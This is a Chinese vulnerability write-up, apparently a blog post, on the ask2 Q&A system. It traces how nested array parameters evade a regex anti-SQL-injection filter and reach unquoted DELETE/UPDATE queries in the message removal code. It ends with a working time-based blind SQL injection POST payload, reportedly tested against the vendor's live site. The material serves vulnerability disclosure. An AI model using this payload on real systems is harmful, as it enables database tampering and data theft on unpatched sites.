ask2问答系统最新版绕过全局防注入进行注入(官方复现)

Date: 2016-11-07 19:48

首先我们看一下全局防注入机制,在/model/sowenda.class.php中第32行:

       $querystring = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
       
        $pos = strrpos($querystring, '.');
        if ($pos !== false) {
            $querystring = substr($querystring, 0, $pos);
        }
        /* 处理简短url */
        $pos = strpos($querystring, '-');
            $pos2 = strpos($querystring, '=');
        ($pos !== false) && $querystring = urlmap($querystring);
        
         ($pos2 !== false) && $querystring = urlmap($querystring);
        
        $andpos = strpos($querystring, "&");
        $andpos && $querystring = substr($querystring, 0, $andpos);
        $this->get = explode('/', $querystring);
        if (empty($this->get[0])) {
            $this->get[0] = 'index';
        }
        if (empty($this->get[1])) {
            $this->get[1] = 'default';
        }
        if (count($this->get) < 2) {
            exit(' Access Denied !');
        }
        unset($GLOBALS, $_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS);

        $this->get = taddslashes($this->get, 1);
        $this->post = taddslashes(array_merge($_GET, $_POST));
       
        checkattack($this->post, 'post');
        checkattack($this->get, 'get');
        unset($_POST);

可以看到这里对$_GET和$_POST都用taddslashes()做了处理,我们跟踪一下这个函数:
在/lib/global.func.php中第324行:

function taddslashes($string, $force = 0) {
    if (!MAGIC_QUOTES_GPC || $force) {
        if (is_array($string)) {
            foreach ($string as $key => $val) {
                $string[$key] = taddslashes($val, $force);
            }
        } else {
            $string = addslashes($string);
        }
    }
    return $string;
}

可以看到这是一个转义函数,也就是说进行了一个全局的转义,最麻烦的不是这个,而是下一个函数:

 checkattack($this->post, 'post');
        checkattack($this->get, 'get');

将$_GET和$_POST带入到了checkattack()这个函数中,我们追踪一下这个函数,在/lib/global.func.php中第339行:

function checkattack($reqarr, $reqtype = 'post') {
    $filtertable = array(
        'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)',
        'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)',
        'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)'
    );
    foreach ($reqarr as $reqkey => $reqvalue) {
        if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) {
            print('Illegal operation!');
            exit(-1);
        }
    }
}

可以看到这是一个防注入函数,这就很恼火了。不过这注入漏洞我们可以绕过它。

看一下漏洞触发点:

/control/message.php中第84行:
  function onremove() {
        if (isset($this->post['submit'])) {
            $inbox = $this->post['messageid']['inbox'];
            $outbox = $this->post['messageid']['outbox'];
            if ($inbox)
                $_ENV['message']->remove("inbox", $inbox);

            if ($outbox)
                $_ENV['message']->remove("outbox", $outbox);

            $this->message("消息删除成功!", get_url_source());
        }
    }

可以看到这里的有两个变量是我们可控的,$inbox和$outbox。
我们可以将这两个变量带入到了remove()函数中,我们跟踪一下remove函数:
在/model/message.class.php中第91行:

function remove($type, $msgids) {
        $messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids;
        if ('inbox' == $type) {
            $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)");
            $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)");
            $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)");
        } else {
            $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)");
            $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)");
        }
    }

可以看到直接将我们可控的变量带入到了sql语句中,周围只有括号进行包裹,并没有引号进行包裹,所以说全局转义我们可以绕过了,那么那个防注入函数怎么绕过呢。
我们仔细看一下那个防注入函数,可以看到只是对字符串进行了检测,但是如果我们传入的是个数组呢?那个防注入函数并没有进行是数组的检测。
那么我们仔细看一下我们可控的这两个变量:

            $inbox = $this->post['messageid']['inbox'];
            $outbox = $this->post['messageid']['outbox'];

可以看到是一个数组中的值,而防注入并没有对数组进行检测,所以我们可以绕过防注入函数。

漏洞利用方式:
我们直接去官网进行测试:
http://www.ask2.cn/
先在官网注册登录一个账号,然后访问如下payload:

http://www.ask2.cn/message/remove.html
POST: submit=2&messageid[inbox]=-1,if(1=1,sleep(1),0)

看到成功延时:

Comments
Write a Comment